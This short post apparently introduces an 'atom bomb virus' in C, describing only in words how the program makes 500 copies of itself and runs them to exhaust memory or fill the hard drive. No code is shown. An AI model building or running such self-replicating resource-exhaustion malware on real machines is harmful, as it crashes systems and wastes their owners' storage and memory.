Atom bomb virus in c

Atom bomb virus in c

Basically, the goal of this "virus" is to either a) use A LOT of ram or b)fill the hard drive with useless files > 100kb's, whichever may come first (in most cases it is option A )

The idea behind an atom bomb virus is that it will create two (or more) exact copies of itself (like splitting an atom) and then execute those two files. In this one, it creates 500 exact copies and runs them.
